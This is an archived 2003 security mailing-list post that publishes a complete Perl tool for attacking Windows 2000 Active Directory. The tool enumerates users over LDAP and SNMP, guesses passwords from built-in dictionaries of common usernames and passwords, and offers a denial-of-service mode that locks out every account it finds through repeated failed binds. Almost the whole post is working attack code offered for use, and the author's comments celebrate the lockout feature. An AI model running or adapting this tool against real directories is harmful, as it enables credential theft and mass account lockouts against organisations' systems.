[TOOL] Windows 2000 Dictionary Attacker against Active Directory
From: support@securiteam.com
Date: 03/17/03
- Previous message: support@securiteam.com: "[NT] McAfee ePolicy Orchestrator Format String Vulnerability"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: 17 Mar 2003 19:10:17 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
In the US?
Contact Beyond Security at our new California office
housewarming rates on automated network vulnerability
scanning. We also welcome ISPs and other resellers!
Please contact us at: 323-882-8286 or ussales@beyondsecurity.com
- - - - - - - - -
Windows 2000 Dictionary Attacker against Active Directory
------------------------------------------------------------------------
DETAILS
The following tool is able to enumerate users and passwords found under
the native Windows Active Directory.
#!C:/Perl/Bin/perl -w
# Author: Wiseman (wiseman@spray.se)
# Filename: w2kdad.pl
# Current Version: 0.94beta
# Created: 10th of December 2002
# Last Changed: 17th of March 2003
#
-------------------------------------------------------------------------
# Description:
# ------------------------------------------------------------------------
# W2kdad.pl or "Windows 2000 Dictionary Attacker Against Active Directory"
# for long, lets you enumerate users and check passwords in a
# native W2k AD.
#
# There's an option to use SNMP to gather userdata as well as a DoS option
# that may or may not- depending on the lockoutsettings in the domain! -
# lock out selected users. Very useful! <evil grin>
# You should check the lockout setting with the tool "enum" from
# http://razor.bindview.com before you decide whether a DoS will work or
not.
#
# Caution!: Depending on the lockoutsettings normal operation of this
# script *may* lock out accounts. You have been officialy warned now so
# don't blame me if this happens to you. Check my disclaimer btw!
# It is *not* my fault - ever! :o)
#
# ------------------------------------------------------------------------
# Change History
# ------------------------------------------------------------------------
# 0.94beta:
# First bugs found...tried to bind as $username instead of $base_dn
# Code still not cleaned properly and there are some quirks left to fix.
# Some outcommented code still lingers.
# This will be gone to version 1.0...promise!
# *LoL*
#
# The -dos mode works quite well, seemed to lockout Administrator too...
# Shouldn't work actually and I didn't really dare to verify this by
# logging out and logging in again as Administrator...
#
# I didn't really want to lockout myself...
# If you feel to verify this be my guest. Don't blame me if it screws up
# though...
#
#
# 0.93beta:
# Added Denial of Service switch "-dos", output switch "-o" and cleaned
# up the code a little. There are still outcommented code to be cleaned up
# later! Probably there also are some bugs waiting to be found
# but I deal with them later too, bro...
#
#
# 0.92beta:
# Messed around with several Perl SNMP-modules an entire afternoon to get
# SNMP functionality to work, but in the end I just thought "What the
h*ck"
# and used Microsofts own tool "snmputil" instead. It's simple and it
works,
# so I'm happy now...
#
#
# 0.91beta:
# Got the actual enumeration and password part to work. There are issues
# not corrected yet and this is still beta. I found out that failed LDAP
# authentication *do* trigger lock-outs making this an excellent DoS tool
# too! <evil grin>
#
# There are still outcommented stuff in the code for testing-purposes.
# This will be removed when going to version 1.0, whenever that now
# happens...live with it for the moment.
#
# 0.9beta:
# The Getopt::std module really screwed things up. I wanted a change
# from my older Perl-scripts that used Getopt::Long to use a more neat
# approach but no! The ::std module did not work as it was documented, it
# didn't for instance assign a "1" to all options that had no argument
# so they became unassigned instead, resulting in some nasty error-
# messages. (But the program still worked as intended. Go figure...)
# So back again to ::Long. Oh well....
#
# 0.5beta:
# First version with no LDAP functionality
#
# ------------------------------------------------------------------------
# Known Issues
# ------------------------------------------------------------------------
# 1: There is a strange thing going on with the default Domain Admin
account
# Administrator: When I use Microsofts own LDP.exe I am able to bind as
# Administrator and everything seems OK, but when I am trying this with
# the script it does not work. Heaven knows why. The script works on other
# user account OK, but Administrator...nope....Hopefully I fix this
# in version 1.0...Stay tuned...
#
# 2: Checks for a blank password fails for some reason. Will try to
# fix this in 1.0.
#
# ------------------------------------------------------------------------
# Credits
# ------------------------------------------------------------------------
# Credit goes to Johnny at http://johnny.ihackstuff.com
# (johnny@ihackstuff.com) for giving me the original idea and
# a .c-code listing for a similar utility to build upon.
# I merely rewrote it in Perl with a twist. I added SNMP support and
# an option to "DoS" the AD users. Oh well...
#
# ------------------------------------------------------------------------
# Dependencies
# ------------------------------------------------------------------------
# For W2kdad.pl to work you need the following Perl modules:
# LDAP:
# search.cpan.org/author/GBARR/perl-ldap-0.26/
# search.cpan.org/author/GBARR/Convert-ASN1-0.16/
# SNMP:
# Microsoft's "snmputil" from NT Resource Kit
# "snmputil" is not included in this release, so you have to get it
yourself.
# If you don't have the NTRK, try
# http://www.petri.co.il/download_free_reskit_tools.htm
#
#
# ------------------------------------------------------------------------
# The Usual Disclaimer:
# ------------------------------------------------------------------------
# This script is written AS-IS and will not be supported
# Wiseman is not responsible for the script's misuse and is not
responsible
# for any damage resulting from running this script.
# It is *not* my fault so stop complaining
#
# ------------------------------------------------------------------------
use strict;
use Getopt::Long;
use Net::LDAP;
######################################
# Definitions of some global arrays and flags #
# Oh, you don't think global arrays and flags are good programming? #
# Aha, ok, I see, Uh-huh... #
######################################
my @users_to_verify;
my @verified_users;
my @verified_users_and_passwords;
my @passwords_to_verify;
my $wisemans_app = "==| W2kdad.pl v. 0.94beta by Wiseman
\(wiseman\@spray.se\) |==";
my $snmp_ok=0;
# Default we do want to check passwords, but Getopt assign a "1" if the
# -nopw is present so I turn this around. An "1" means don't check
# passwords, an "0" means check passwords. Default is "0"
# Oh how confusing this is!
my $checkpw=0;
# Default we do not want to DoS users! Getopt assign a "1" if the
# -dos is present
my $dos_ok=0;
######################################
# Subroutines start #
######################################
######################################
# Show_Syntax #
# Description: #
# Shows the Syntax. Like you haven't guessed that already! #
######################################
sub Show_Syntax {
print "\nSyntax:\n";
print "-------\n";
print "W2kdad.pl -h <IP-address> -d <domain name> [-o <filename> -u
<filename> -p <filenmame> -s <community> -nopw -dos]\n";
print "\n";
print "Mandatory switches:\n";
print "-------------------\n";
print " -h <IP-address> : IP-address of target host\n";
print " -d <domain name>: The domain name of the target:\n";
print " : Only a domain name like \"target.com\n";
print " : is supported in this version of W2kdad\n";
print "\n";
print "Optional switches:\n";
print "------------------\n";
print " -o <filename> : Name of outputfile\n";
print " -u <filename> : Name of file with usernames to enumerate\n";
print " -p <filename> : Name of passwordfile\n";
print " -s <community> : Use SNMP to enumerate users\n";
print " : (You must provide a community name for -s to work)\n";
print " -nopw : Do not test passwords, just enumerate users\n";
print " -dos : Try to DoS ie lockout all users found.\n";
print " : This works best in combination with the -s switch\n";
print " : (The -dos switch is not compatible with the -nopw switch)\n";
die ("\n");
} # End of subroutine Show_Syntax
#####################################
# End of Subroutine LoadPasswordFile #
######################################
######################################
# IP_check #
# Description: #
# IP_check checks the IP-address and returns "1" for a valid IP-address #
# or "0" for an invalid IP-address to the calling routine #
######################################
sub IP_check {
##################################
## Declare local variables start
##################################
my $A;
my $B;
my $C;
my $D;
my $IP_address;
my $error=0;
my $success=1;
my @number_of_groups;
##################################
## Declare local variables end
##################################
# Grab the IP-address to scan
$IP_address = <@_>;
# Check that the IP-address consists of 4 groups divided by dots
# For some reason Perl wants an array here, instead of a scalar otherwise
# a strange errormessage shows up. Oh well...array it is then.
@number_of_groups = split(/\./,$IP_address);
# This is if 1
if ( @number_of_groups < 4 ) {
# If the IP-address provided does not have at least four groups return
# an error
return($error);
} # End if 1
# Now we split the IP-address into components
# If we hadn't checked the correct length of the IP-address above
# some of the vars could have ended up uninitialized and we don't want
that
($A, $B, $C, $D) = split(/\./,$IP_address);
# Check that $A - $D are digits only *and* > 0 and < 256
# This is if 2
if (($A=~m/\D/) || ($B=~m/\D/) || ($C=~m/\D/) || ($D=~m/\D/)) {
# If either of the values are not digits return with errorcode
return($error);
} # End if 2
# If we come here there are indeed only digits in $A - $D, but are they
valid?
# This is if 3
if (($A < 0 || $A > 255) || ($B < 0 || $B > 255) || ($C < 0 || $C > 255)
|| ($D < 0 || $D > 255)) {
# If either of the values are not in correct range return with errorcode
return($error);
} # End if 3
# If we come here the digits in $A-$D are valid for an IP-address
return($success);
} # End of subroutine IP_check
######################################
# End of Subroutine IP_check #
######################################
######################################
# SNMP_enumerate #
# Description: #
# SNMP_enumerate tries to get all the users through SNMP before #
# dictionary attack begins. #
# #
######################################
sub SNMP_enumerate {
##################################
## Declare local variables start
##################################
my $host;
my $community;
my $error=0;
my $success=1;
my @snmputil_output;
my $s_output;
my $junk;
my $username;
##################################
## Declare local variables end
##################################
# Put the host and communnity string passed to this subroutine
# in the local var $host and $community
($host, $community) = <@_>;
# Run SNMPutil to walk MIB-tree
#
open(SNMPUTIL, "snmputil walk $host $community .1.3.6.1.4.1.77.1.2.25
2>&1 |");
@snmputil_output = <SNMPUTIL>;
# Check output from SNMPutil
# This is foreach 1
foreach(@snmputil_output) {
$s_output = $_;
# The global flag $snmp_ok is *only* set iff the word "String" is found
# which btw indicates that the target answers to snmp requests and that
the
# commuity string is correct. All other results from snmputil will result
# in a negative $snmp_ok flag.
# This is if 1
if ($s_output =~m/String/i) {
$snmp_ok = $success;
($junk, $junk, $junk, $username) = split(/ +/, $s_output);
# Take away trailing newline
$username =~ s/\n//g;
# Copy the username to the array @verified_users
$verified_users[++$#verified_users] = $username;
} # End if 1
} # End foreach
# Sort the users found. If no users found we don't sort but gives an
# informative errormessage. Oh yes!
# This is if 2
if ($snmp_ok == 1 ) {
@verified_users = sort @verified_users;
} else {
print "\n--| SNMP enumeration failed! Falling back to supplied file with
usernames or internal userlist\n";
} # End if 2
} # End of subroutine SNMP_enumerate
######################################
# End of Subroutine SNMP_enumerate #
######################################
######################################
# File_parser #
# Description: #
# File_parser checks and loads files to use. #
######################################
sub File_parser {
##################################
## Declare local variables start
##################################
my $userfile;
my $userfile_size;
my $passwordfile;
my $passwordfile_size;
my $user;
my $password;
##################################
## Declare local variables end
##################################
# Put the values passed to this subroutine (by main)
# in the local vars $userfile and $passwordfile
($userfile, $passwordfile) = <@_>;
# Check that the user really provided us with filenames.
# If not the names will be "EmptyFilename" and we will use default lists
instead
# This is if 1 - Check whether SNMP was used and all went well
# If this is the case, we do not need to load a file with usernames
# or supply our own internal list. SNMP will give us *all* users anyway
if (!$snmp_ok) {
# This is if 2
if ($userfile eq "EmptyFilename") {
# If the user did not give us a filename, we preload the array with
# some usernames of our own
@users_to_verify=(
"Administrator",
"Admin",
"Backup",
"Operator",
"oper",
"test",
"test1",
"test2",
"test3",
"test4",
"test5",
"testuser",
"testuser1",
"testuser2",
"testuser3",
"testuser4",
"testuser5");
} else {
# If the user provided us with a filename, we open the file and
# load it into the @users_to_verify array
# Open the userfile in Read Only Mode. If the file does not exist,
# abort program with errormessage
open (USER_FILE,$userfile) || die ("\n**| Error! Could not open file
$userfile\n");
# Read the whole file and put each line, ie each user to check in the
array.
print "\nLoading users to check from the file $userfile...";
@users_to_verify = <USER_FILE>;
$userfile_size = @users_to_verify;
print "done!";
print"\($userfile_size users loaded\)\n";
# Close the userlist
close (USER_FILE);
# Take away trailing Newline
foreach $user (@users_to_verify) {
$user =~ s/\n//g;
} # End for each
} # End if 2
} # End if 1
# If user don't want to check passwords, we don't bother loading any
passwords
# This is if 3
if (!$checkpw) {
# This is if 4
if ($passwordfile eq "EmptyFilename") {
# If the user did not give us a filename, we preload the array with
# some passwords of our own
@passwords_to_verify=(
"system",
"password",
"pasword",
"passw0rd",
"admin",
"adminadmin",
"administrator",
"secret",
"user",
"testar",
"backup",
"operator",
"oper",
"welcome");
} else {
# If the user provided us with a filename, we open the file and load it
# into the @passwords_to_verify array
# Open the userfile in Read Only Mode. If the file does not exist,
# abort program with errormessage
open (PASS_FILE,$passwordfile) || die ("\n**| Error! Could not open file
$passwordfile\n");
# Read the whole file and put each line, ie each user to check in the
array.
print "\nLoading passwords to check from $passwordfile into array...";
@passwords_to_verify = <PASS_FILE>;
$passwordfile_size = @passwords_to_verify;
print "done!";
print"\($passwordfile_size passwords loaded\)\n";
# Close the userlist
close (PASS_FILE);
# Take away trailing Newline
foreach $password (@passwords_to_verify) {
$password =~ s/\n//g;
} # End for each
} # End if 3
} # end if 4
} # End of subroutine File_parser
######################################
# End of Subroutine File_parser #
######################################
######################################
# Output_file_writer #
# Description: #
# Output_file_writer writes the results to a file #
######################################
sub Output_file_writer {
##################################
## Declare local variables start
##################################
my $outputfile;
my $temp;
##################################
## Declare local variables end
##################################
# Put the values passed to this subroutine
# in the local var $outputfile
($outputfile) = <@_>;
# If the user did not provide a filename the filename not the name
# will be "EmptyFilename"
print "\n--| Writing results to file $outputfile...";
# Open file for writing. Careful! No error checking yet!
open(OUTFILE, ">$outputfile");
# Write verified users
# Write heading
print OUTFILE "\nVerified users\n\n";
# This is foreach 1
foreach $temp (@verified_users) {
print OUTFILE $temp;
print OUTFILE "\n";
} # end foreach 1
# Write verified users and passwords
# Write heading
print OUTFILE "\n\nVerified users and passwords\n\n";
# This is foreach 2
foreach $temp (@verified_users_and_passwords) {
print OUTFILE $temp;
print OUTFILE "\n";
} # end foreach 2
close (OUTFILE);
print "Done!\n";
} # End of Output_file_writer
######################################
# End of Subroutine Output_file_writer #
######################################
######################################
# Scan_engine #
# Description: #
# Scan_engine performs the scanning for us #
######################################
sub Scan_engine {
##################################
## Declare local variables start
##################################
my $host;
my $domain;
my $domain_part1;
my $domain_part2;
my $ldap;
my $status;
my $mesg;
my @entries;
my $base_dn;
my $username;
my $entry;
my $foundflag;
my $password;
my $counter;
my $success;
my $doscounter;
# In $passwordarraysize the size of the @passwors_to_verify is saved, used
later on
# in the While clause.
my $passwordarraysize=@passwords_to_verify;
##################################
## Declare local variables end
##################################
# Put the host passed to this subroutine (by main)
# in the local var $host
($host, $domain) = <@_>;
# Split $domain into two parts for the search to work
# Right now this script only supports a domain name like
# "target.com" with 1 dot. If domain is test.target.com
# things will probably go haywire...
($domain_part1, $domain_part2) = split(/\./,$domain);
# Initial connection to host, no errorchecking for time-outs yet...
print "\n--| Connecting to $host...";
$ldap = Net::LDAP->new($host) or die "$@";
print "done!\n";
# I am not really sure if I have to bind really, since things seems to
# work anyway...but I bind anyway for the heck of it!
# $ldap->bind;
# Enumerate users loaded from file or from defaultlist
# Only proceed with user enumeration iff SNMP enumeration was not used
# This is if 1
if (!$snmp_ok) {
print "\n--| Verified users.\n\n";
# Check each username in the global array @users_to_verify
# Each username ends up in the var $username.
# This is foreach 1
foreach (@users_to_verify) {
$username = $_;
$base_dn = "CN=$username,CN=Users,DC=$domain_part1,DC=$domain_part2";
# Search the LDAP directory
$mesg = $ldap->search(base => $base_dn, scope => 'sub', filter =>
"(objectclass=*)");
# Get the errorcode
# An errorcode of 0 indicates that a user *does* exist in the directory
# An errorcode of 32 indicates that user *does not* exist in the directory
# If we receve any other errorcode we bail out!
$foundflag = ($mesg->code);
# This is if 2
if ( $foundflag == 0 ) {
print "$username\n";
# If user is found copy the username to the array @verified_users
$verified_users[++$#verified_users] = $username;
} # End if 2
# This is if 3
if ((!$foundflag == 0 ) && (!$foundflag == 32 )) {
print("\n--| Aborting! LDAP Errorcode=");
die ($mesg->code);
} # End if 3
} # End foreach 1
} else {
print "\n--| The following usernames are verified with SNMP:\n\n";
# This is foreach 2
foreach (@verified_users) {
$username = $_;
print "$username\n";
} # End foreach 2
} # End if 1
##################################
# Enumerate verified users with passwords from list or file
##################################
# Only proceed with password enumeration iff -nopw was not used
if (!$checkpw) {
# This is foreach 3
#
foreach (@verified_users) {
$username = $_;
$base_dn = "CN=$username,CN=Users,DC=$domain_part1,DC=$domain_part2";
# Reset $counter and $success
$counter=0;
$success=0;
# If DoS mode is selected don't do the following checks!
if (!$dos_ok) {
print "\n--| Enumerating passwords for $username\n";
# These is a special case! Check with a password that is the same as the
useraccount!
# Password = Username
$mesg = $ldap->bind( $base_dn, password => $username, version => 3 );
$foundflag = ($mesg->code);
# print "Foundflag USername is Password:$foundflag\n";
if ( $foundflag == 0 ){
print "\nUser: $username, Password=$username\n";
# If users PW is found copy the username *and* PW to the array
@verified_users
$verified_users_and_passwords[++$#verified_users_and_passwords] =
$username."\/".$username;
# $ldap->unbind;
$success=1;
}
# This is while 1
while (($success==0) && ($counter < $passwordarraysize)) {
$password = $passwords_to_verify[$counter];
# $ldap->unbind;
$mesg = $ldap->bind( $base_dn, password => $password, version => 3 );
$foundflag = ($mesg->code);
# print "Foundflag Password:$foundflag\n";
# This is if 3
if ( $foundflag == 0 ){
print "\nUser: $username, Password=$password\n";
$success=1;
# If users PW is found copy the username *and* PW to the array
@verified_users
$verified_users_and_passwords[++$#verified_users_and_passwords] =
$username."\/".$password;
} # End if 3
# Increment counter
$counter++;
} # End while 1
} else {
# DoS Away! We don't care about $mesg here...
# 200 attempts should be enough...
print "\n--| DoS: Trying to lockout user: $username\n";
for ($doscounter = 0; $doscounter <200; $doscounter++ ) {
$mesg = $ldap->bind( $base_dn, password => "DoS_Away!", version => 3 );
} # End for loop
} # End if
} # End foreach 3
} else {
print "\n--| No passwords will be enumerated due to -nopw switch\n";
}
} # End of subroutine Scan_engine
######################################
# End of Scan_engine #
######################################
######################################
# Start of main program #
######################################
print "\n$wisemans_app\n";
##################################
## Declare local variables start
##################################
my $numberofargs = @ARGV;
my $host;
my $domain;
my $outputfile="EmptyFilename";
my $passwordfile="EmptyFilename";
my $userfile="EmptyFilename";
my $success;
my $community="EmptyCommunity";
##################################
## Declare local variables end
##################################
if ($numberofargs < 3) {
&Show_Syntax;
} # End if
# If we get here the correct *number* of arguments were given.
# We have not yet seen that it is the *correct* arguments that have been
# given by the user
$success =
Getopt::Long::GetOptions("h=s",\$host,"d=s",\$domain, "o:s",\$outputfile,
"u:s",\$userfile,
"p:s",\$passwordfile,'nopw',\$checkpw,"s:s",\$community,'dos',\$dos_ok);
# If wrong switches were given we die with Syntax errormessage
# $Success is 1 if all i OK, 0 or null otherwise
if (!$success) {
&Show_Syntax();
} # End if
# Check that the IP-address provided is correct
# If not die with error-message
$success=IP_check($host);
if ( $success != 1 ) {
print
"\n****************************************************************\n";
print "* Error: The switch -h $host is not a valid IP-address.\n";
print
"****************************************************************\n";
&Show_Syntax;
}
if (($checkpw == 1) && ($dos_ok == 1)){
print
"\n****************************************************************\n";
print "* Error: The switches -nopw and -dos are not compatible!\n";
print
"****************************************************************\n";
&Show_Syntax;
}
# Enumerate through SNMP if user wants that
if (!($community eq "EmptyCommunity")) {
&SNMP_enumerate($host,$community);
} # End if
# Parse the files and load them into the global arrays
&File_parser($userfile, $passwordfile);
# Call the Scan_engine to do the work!
# Calling the Scan_engine! Come in Scan_engine!
&Scan_engine($host, $domain);
# Check if user wants to write to file
if (!($outputfile eq "EmptyFilename")) {
&Output_file_writer($outputfile);
} # End if
ADDITIONAL INFORMATION
The tool can be also downloaded from:
<http://www.geocities.com/real_wiseman/>
http://www.geocities.com/real_wiseman/
The information has been provided by <mailto:wiseman@spray.se> Wiseman.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: support@securiteam.com: "[NT] McAfee ePolicy Orchestrator Format String Vulnerability"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|